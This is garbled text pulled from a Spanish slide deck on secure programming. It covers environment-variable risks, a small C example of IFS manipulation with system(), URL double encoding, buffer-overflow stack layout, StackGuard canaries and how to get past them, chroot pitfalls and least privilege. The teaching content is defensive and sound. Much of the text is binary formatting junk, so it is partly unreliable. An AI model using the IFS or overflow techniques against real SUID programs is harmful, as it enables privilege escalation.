duplicadas con diferentes valores utilizando hbilmente la funcin execve(2)Predeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'DPROBLEMA: Un programa puede validar una de ellas pero utilizar otra.Predeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'DrObSVDr&,t#0g." Predeterminado,#TP-#-+,+.M.0+/+/#-#DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K!DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgbJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrOblSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1Por qu sucede el problemaPredeterminado~LT~Gliederung 1<( (@'A'/Deficiente programacin de la funcin getenv(3)Predeterminado~LT~Gliederung 2 <( (@'A'tProgramas que acceden directamente a la variable global de entorno (definida en )extern char **environ;Predeterminado~LT~Gliederung 2 <( (@'A''[\\]]^DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K#DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1Eq[&B&xV4B1Solucin a este problemaPredeterminado~LT~Gliederung 1<( (@'A'dUtilizar una librera de funciones robusta. Por ejemplo la librera GNU glibc 2.1 hace lo siguiente:Predeterminado~LT~Gliederung 2 <( (@'A'1getenv: siempre devuelve la primera que encuentraPredeterminado~LT~Gliederung 3<( (@'A'@setenv y putenv: siempre sobreescriben la primera que encuentranPredeterminado~LT~Gliederung 3<( (@'A''unsetenv: borra todas las que encuentraPredeterminado~LT~Gliederung 3<( (@'A'"Utilizar siempre el valor validadoPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K%DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg,  JoeM8cjJDrML8DrMD,DrObSVDr&q[(2Predeterminado~LT~Gliederung 1q[(xV4B1Otros problemasPredeterminado~LT~Gliederung 1<( (@'A'"Variables especialmente peligrosasPredeterminado~LT~Gliederung 2 <( (@'A'.PATH: No debe contener el directorio local .Predeterminado~LT~Gliederung 3<( (@'A'+,-.,IFS: Debe tener los valores estndar \t\nPredeterminado~LT~Gliederung 3<( (@'A'%&+,DrOb8SVDr&rw(*6DrOb{SVDr&rw(*6"  Predeterminado()6DrOblSVDr&{()6" Predeterminado{()6xV4B1#include Predeterminadog*<( (@'#include Predeterminadog*<( (@'main(){Predeterminadog*<( (@'system(/bin/ls);Predeterminadog*<( (@'}Predeterminadog*<( (@'DrXXDrObVSVDr&q98[B DrOb{SVDr&q98[B"Predeterminadoq98[BDrObSVDr&q98[B2  Predeterminado~LT~Gliederung 1q98[BxV4B1LD_LIBRARY_PATH o SHLIB_PATHPredeterminado~LT~Gliederung 3<( (@' A'+Variables locales: LC_ALL, LC_TIME, TZ, etcPredeterminado~LT~Gliederung 3<( (@' A'DrXXDrObSSVDr&4+7U4DrOb{SVDr&4+7U4"  Predeterminado4+*U4DrObSVDr&4+*U4" Predeterminado+4+*U4 xV4B1 Si IFS==/Predeterminadog*<( (@'    )Se ejcuta el progrma bin con parmetro lsPredeterminadog*<( (@'))')DrXXDrObSVDr&,3.10" Predeterminado,M.TP,._0._0M.1/_00_0)0,)0,.DrObSVDr&q[+Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K'DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg{JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1Otros problemas (2)Predeterminado~LT~Gliederung 1<( (@'A'Cuando se invoca a otro programa: No todas las variables utilizadas por ese programa estn documentadas, o entre distintas versiones se aaden ms.Predeterminado~LT~Gliederung 2 <( (@'A'Predeterminado~LT~Gliederung 2 <( (@'A'Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K)DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1n&Entrada de datos: Variables de EntornoPredeterminado~LT~Titel<( (@' DrObSVDr&q[~B2Predeterminado~LT~Gliederung 1q[~BxV4B1n8Solucin general al problema de las variables de entornoPredeterminado~LT~Gliederung 1<( (@'A'PLeer las variables que se necesiten y validar tanto sus valores como su longitudPredeterminado~LT~Gliederung 2 <( (@'A'Borrar todas las entradas:Predeterminado~LT~Gliederung 2 <( (@'A'"Poniendo a null la variable globalPredeterminado~LT~Gliederung 3<( (@'A'+Usando la funcin clearenv (no documentada)Predeterminado~LT~Gliederung 3<( (@'A'Usando un programa wrapperPredeterminado~LT~Gliederung 3<( (@'A'6Restablecer las variables necesarias a valores segurosPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K+DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg#JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[wxV4B1bEntrada de datos: FicherosPredeterminado~LT~Titel<( (@' DrOb9SVDr&q[CC2Predeterminado~LT~Gliederung 1q[CCxV4B1Si se trabaja con descriptores, no hacer ninguna suposicin sobre si los estndar (stdin, stdout y stderr) estn asociados a terminales o si estn abiertos.Predeterminado~LT~Gliederung 1<( (@'A'Si se leen ficheros de configuracin hacer validaciones tanto en el contenido como en el tamao, especialmente si se almacenan rutas a otros ficheros.Predeterminado~LT~Gliederung 1<( (@'A'vCuidado con operaciones no atmicas.ej: comprobar la existencia y accesibilidad de ficheros y posteriormente abrirlos.Predeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K-DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg-JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[|xV4B1gEntrada de datos: URLsPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1^q[&B?xV4B1"Algunos caracteres estn codificados como %HH. Por tanto deben ser decodificados previamente y despus se deben realizar las validaciones.Predeterminado~LT~Gliederung 1<( (@'A'1La decodificacin slo se debe hacer una sola vezPredeterminado~LT~Gliederung 1<( (@'A'%2500Predeterminado~LT~Gliederung 2 <( (@'A'El programa servidor debe realizar todas las validaciones y no fiarse que ya se hayan hecho en el cliente (con un javascript por ejemplo)Predeterminado~LT~Gliederung 1<( (@'A'TNo usar mtodos GET para realizar operaciones que no sean de consulta exclusivamentePredeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K/DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgwJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[jxV4B1U ProcesamientoPredeterminado~LT~Titel<( (@' DrOb&SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1Predeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'Desbordamiento de Buffer Predeterminado~LT~Gliederung 1<( (@'A'.Consideraciones de Diseo interno del programaPredeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K1DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgAJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrObYSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1/Es uno de lo principales problemas de seguridadPredeterminado~LT~Gliederung 1<( (@'A'Tcnicamente consiste en escribir, generalmente una cadena, en un buffer de longitud fija, superando esa longitud en al menos un carcterPredeterminado~LT~Gliederung 1<( (@'A' Es un problema tpico de C o C++Predeterminado~LT~Gliederung 1<( (@'A'Otros lenguajes de alto nivel evitan este problema, pero algunas de las libreras que usan, estn escritas en C y por tanto les puede surgir este problema tambinPredeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K3DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg \ JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrOb SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1mDnde est el problema?Predeterminado~LT~Gliederung 1<( (@'A'DrObSVDr&F@B6%DrOb{SVDr&.44@B" PredeterminadoI4%BDrObSVDr&/N4*0" Predeterminado߉ I/4/DrObSVDr&8N4B9" Predeterminado߉ I 94 9DrObSVDr&I4!"PredeterminadoI4!txV4B1_PilaPredeterminadog* <( (@'+'DrObSVDr&|& (>'" Predeterminado '!' &DrObSVDr&I148"PredeterminadoI148xV4B1&Datos inicializados y no inicializadosPredeterminadog* <( (@'+'&&DrObSVDr&I94@"PredeterminadoI94@xV4B1nCdigo del ProgramaPredeterminadog* <( (@'+'DrObSVDr&I+4/"PredeterminadoI+4/txV4B1_HeapPredeterminadog* <( (@'+'DrObSVDr&|&{&(-" Predeterminado S S(#'+''DrObSVDr&4F!"Predeterminado4F!xxV4B1cDireccin altaPredeterminadog* <( (@'DrObSVDr&4>EB"Predeterminado4>EBxxV4B1cDireccin bajaPredeterminadog* <( (@'DrXXDrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K5DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrOb[SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1fEn la Pila se almacenan los parmetros de una funcin, sus variables locales y la direccin de retornoPredeterminado~LT~Gliederung 1<( (@'A'DrObsSVDr&g &79"Predeterminadog &79xV4B1$void function(int a, int b, int c) {Predeterminadog* <( (@'$$ char buffer1[5];Predeterminadog* <( (@' char buffer2[10];Predeterminadog* <( (@'}Predeterminadog* <( (@'Predeterminadog* <( (@' void main() {Predeterminadog* <( (@'   function(1,2,3);Predeterminadog* <( (@'}Predeterminadog* <( (@'DrObd SVDr&'<k_U6G. \<kDrOb{SVDr&A<"EU6G" Predeterminado\<"*UGDrObSVDr&'<{'_U'" Predeterminado\<'*U'DrObSVDr&'<q,_U," Predeterminado\<,*U,DrObSVDr&\<k*Ul#"Predeterminado\<k*Ul#txV4B1_PilaPredeterminadog* <( (@'+'DrObSVDr&'<I@_U@" Predeterminado\<~@*U~@DrObSVDr&'<]6_U6" Predeterminado\<6*U6DrObSVDr&'<g1_U1" Predeterminado\<1*U1DrObSVDr&'<S;_U;" Predeterminado\<;*U;DrObSVDr&\<#*U'"Predeterminado\<#*U'qxV4B1\cPredeterminadog* <( (@'+'DrObSVDr&\<(*U,"Predeterminado\<(*U,qxV4B1\bPredeterminadog* <( (@'+'DrObSVDr&\<z-*U{1"Predeterminado\<z-*U{1qxV4B1\aPredeterminadog* <( (@'+'DrObSVDr&\<p2*Uq6"Predeterminado\<p2*Uq6sxV4B1^retPredeterminadog* <( (@'+'DrObSVDr&\<f7*Ug;"Predeterminado\<f7*Ug;wxV4B1bbuffer1Predeterminadog* <( (@'+'DrObSVDr&\<\<*U]@"Predeterminado\<\<*U]@wxV4B1bbuffer2Predeterminadog* <( (@'+'DrObSVDr&G@IF" PredeterminadoHRAHtEDrXXDrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K7DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgkJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B18Consecuencias de sobre-escribir la direccin de retorno:Predeterminado~LT~Gliederung 1<( (@' A'sSi el valor es aleatorio, lo ms probable es que obtengamos un error Segmentation Fault y que el programa mueraPredeterminado~LT~Gliederung 2<( (@' A'EFXYlmrsGSi conseguimos colocar la direccin de cdigo correcto, ste se ejecutaPredeterminado~LT~Gliederung 2<( (@' A'zSi adems el programa es SUID o SGID y pertenede a root se podra ejecutar cdigo arbitrario con permisos de administradorPredeterminado~LT~Gliederung 2<( (@' A'!$37DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K9DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg_JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrObwSVDr&q[ D2Predeterminado~LT~Gliederung 1 q[ DxV4B1Soluciones (1)Predeterminado~LT~Gliederung 1<( (@'A'~Evitar el uso de funciones de cadena sin validacin de tamao: strcpy(3), strcat(3), gets(3), familia de sprintf(3) y scanf(3)Predeterminado~LT~Gliederung 2 <( (@'A'sOtras funciones problemticas son: realpath(3), getopt(3), getpass(3), streadd(3), strecpy(3), strtrns(3), getwd(3)Predeterminado~LT~Gliederung 2 <( (@'A'Existen herramientas para depuracin de estos y otros problemas como Purify, Code Center, ElectricFence, GCT. Requieren una coleccin de casos de prueba.Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K;DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgjJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrObSVDr&q[~B2Predeterminado~LT~Gliederung 1q[~BxV4B1bSoluciones (2)Predeterminado~LT~Gliederung 1<( (@'A'`Utilizar libreras que recubren o interceptan las funciones problemticas. Por ejemplo LibsafePredeterminado~LT~Gliederung 2 <( (@'A'<=JK7Aadir al segmento de Pila atributos de No EjecutablePredeterminado~LT~Gliederung 2 <( (@'A'()67PAadir al compilador elementos que realicen las validaciones de forma automticaPredeterminado~LT~Gliederung 2 <( (@'A'&Avisos del uso de funciones peligrosasPredeterminado~LT~Gliederung 3<( (@'A' StackGuardPredeterminado~LT~Gliederung 3<( (@'A'Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K=DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1Aq[&B"xV4B1  StackGuardPredeterminado~LT~Gliederung 1<( (@'A'PTrata de averiguar si una direccin de retorno se ha modificado maliciosamentePredeterminado~LT~Gliederung 2 <( (@'A'@AOPDrOb SVDr&u?!XEiDrOb{SVDr&?%XE" Predeterminado?&xXtEDrObSVDr&u?*X3+" PredeterminadoW)?*xX*DrObSVDr&?!xX%"Predeterminado?!xX%txV4B1_PilaPredeterminadog* <( (@'+'DrObSVDr&u?>X ?" PredeterminadoW)?>xX>DrObSVDr&u?4X5" PredeterminadoW)?4xX4DrObSVDr&u?/X)0" PredeterminadoW)?/xX/DrObSVDr&u?9X:" PredeterminadoW)?9xX9DrObSVDr&?+xX/"Predeterminado?+xX/zxV4B1e ParmetrosPredeterminadog* <( (@'+'  DrObSVDr&?0xX4"Predeterminado?0xX4sxV4B1^retPredeterminadog* <( (@'+'DrObSVDr&?5xX9"Predeterminado?5xX9vxV4B1aCanaryPredeterminadog* <( (@'+'DrObSVDr&?:xX>"Predeterminado?:xX>xV4B1lVariables localesPredeterminadog* <( (@'+'DrObSVDr&Ju>FME" PredeterminadoW)L?LCDrXXDrOb SVDr&q#>CDrOb{SVDr&q#>C"Predeterminadoq#>CDrOb>SVDr&q#>C2   Predeterminado~LT~Gliederung 1q#>CxV4B1IColoca junto a la direccin de retorno una marca o guarda, llamada CanaryPredeterminado~LT~Gliederung 2 <( (@'A'DrXXDrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&K?DrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg@JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[uxV4B1`Desbordamiento de BufferPredeterminado~LT~Titel<( (@' DrObXSVDr&q[CC2Predeterminado~LT~Gliederung 1q[CCxV4B1El desbordamiento no es slo perjudicial en la pila. Tambin puede ser muy daino en el heap o incluso en la zona de normal datos.En www.w00w00.org/files/heaptut/heaptut.txt se hace un exhaustivo estudio del desbordamiento del heap.Predeterminado~LT~Gliederung 1<( (@'A'Una forma de saltarse la proteccin de StackGuard es sobre-escribiendo en el heap o en la zona de datos el valor de referencia del canary.Predeterminado~LT~Gliederung 2 <( (@'A'LUna forma de saltarse el que la pila no sea ejecutable es que lo sea el heapPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KADrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgAJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1cq[&BDxV4B1%*Asignar los mnimos privilegios necesariosPredeterminado~LT~Gliederung 1<( (@'A'NCreando un grupo especial, asignando ese grupo al programa y activando el SGIDPredeterminado~LT~Gliederung 2 <( (@'A'DCrear un pseudousuario (nobody) para gestionar determinados recursosPredeterminado~LT~Gliederung 2 <( (@'A'/Utilizar caracterasticas dependientes del S.O.Predeterminado~LT~Gliederung 2 <( (@'A''En POSIX: el concepto de capabilitiesPredeterminado~LT~Gliederung 3<( (@'A'&'"En FreeBSD: el concepto de jailsPredeterminado~LT~Gliederung 3<( (@'A'!"DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KCDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgTJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrObVSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1?Minimizar el tiempo en el que el programa se ejecuta como root.Predeterminado~LT~Gliederung 1<( (@'A'4Usar setuid(2), seteuid(2), setreuid(2) y los gruposPredeterminado~LT~Gliederung 2 <( (@'A'Dividir el programa en varios mdulos o subprogramas y slo utilizar el mximo privilegio en los estrictamente necesarios.( E/S no debe tener, en general, ningn privilegio)Predeterminado~LT~Gliederung 1<( (@'A'z{Predeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KEDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg0JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrOb2SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1:Limitar el tiempo en que un recurso puede estar bloqueado.Predeterminado~LT~Gliederung 1<( (@'A'gHacer que los programas privilegiados estn linkados estticamente o que ignoren la variable de entornoPredeterminado~LT~Gliederung 1<( (@'A'Predeterminado~LT~Gliederung 1<( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KGDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgcJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BfxV4B1I]Mucho cuidado al usar la funcin chroot(2) para limitar los ficheros visibles por el programaPredeterminado~LT~Gliederung 1<( (@'A'MCrear una estructura con /etc, /bin, /lib y dentro lo estrictamente necesarioPredeterminado~LT~Gliederung 2 <( (@'A'/Cerrar todos los descriptores antes de llamarlaPredeterminado~LT~Gliederung 2 <( (@'A'LNo crear hard links sobre directorios contenidos en el entorno de chroot()Predeterminado~LT~Gliederung 2 <( (@'A' Si tiene permisos de root, puede crear un fichero de dispositivo con mknod(2) para ver la memoria y despus usarlo para modificarla a su antojoPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KIDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrObSVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1r@Evitar condiciones de carrrera al acceder a recursos compartidosPredeterminado~LT~Gliederung 1<( (@'A'Acceso a ficheros. No separar la comprobacin de acceso a un fichero y su aperturaif (access(fichero, R_OK) < 0) errorfp = fopen(fichero, "r");Predeterminado~LT~Gliederung 2 <( (@'A' 'RSSTTUUUyzz{{|)Shell scripts: Los pasos de ejecucin sonPredeterminado~LT~Gliederung 2 <( (@'A')Buscar el intrprete a ejecutar (linea 1)Predeterminado~LT~Gliederung 4<( (@'A' El kernel lo ejecutaPredeterminado~LT~Gliederung 4<( (@'A' Recibe como parmetro el script.Predeterminado~LT~Gliederung 4<( (@'A' DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KKDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgyJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrOb{SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1 Ocultar informacin confidencialPredeterminado~LT~Gliederung 1<( (@'A'jEn aplicaciones WEB, no usar mtodos GET en envos de informacin. A ser posible utilizar protocolo https.Predeterminado~LT~Gliederung 2 <( (@'A'HDentro del programa, una vez utilizada, eliminarla (sobre-escribirla)...Predeterminado~LT~Gliederung 2 <( (@'A'0 O se debera tratar encriptada en todo momentoPredeterminado~LT~Gliederung 2 <( (@'A'DEncriptar tambin las bases de datos que contengan ese tipo de datosPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KMDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgwJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrObySVDr&q[&B2Predeterminado~LT~Gliederung 1 q[&BxV4B13Recuperacin de errores en programas con privilegioPredeterminado~LT~Gliederung 1<( (@'A';Tratar de recuperarse nicamente en situaciones controladasPredeterminado~LT~Gliederung 2 <( (@'A'zEn situaciones inesperadas o dudosas, el programa debe abortar inmediatamente la operacin o solicitud que est procesandoPredeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KODrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPg3JoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[xV4B1v.Consideraciones de Diseo Interno del ProgramaPredeterminado~LT~Titel<( (@' DrOb5SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B1Para crear ficheros de bloqueoPredeterminado~LT~Gliederung 1<( (@'A'QNo usar de la funcin creat(2) con modo 000. Este bloqueo no funciona para rootPredeterminado~LT~Gliederung 2 <( (@'A'(),-%Usar las funciones flock(3) o link(2)Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KQDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[rxV4B1]Informacin de SalidaPredeterminado~LT~Titel<( (@' DrOb2SVDr&q[&B2Predeterminado~LT~Gliederung 1q[&BxV4B10Minimizar la informacin devuelta a los usuariosPredeterminado~LT~Gliederung 1<( (@'A'En caso de error, informar al usuario de ste, pero ocultndole detalles internos. Estos deben ir a ficheros de Log convenientemente protegidos.Predeterminado~LT~Gliederung 2 <( (@'A'&No informar de la versin del programaPredeterminado~LT~Gliederung 2 <( (@'A'mEn la generacin dinmica de pginas web, no incluir comentarios que revelen informacin sobre la aplicacin.Predeterminado~LT~Gliederung 2 <( (@'A'DrXXgg XPredeterminado~LT~GliederungDrPg)JoeMjJ8cDrML8DrMD,DrOb<SVDr&KSDrObSVDr&x.EZ- Predeterminado~LT~Notizenx.EZpxV4B1[Pulse para aadir notasPredeterminado~LT~Notizen<( ( @'DrXXgg `Predeterminado~LT~GliederungDrPgFJoeM8cjJDrML8DrMD,DrObSVDr&q[+ Predeterminado~LT~Titelq[rxV4B1]Informacin de SalidaPredeterminado~LT~Titel<( (@' 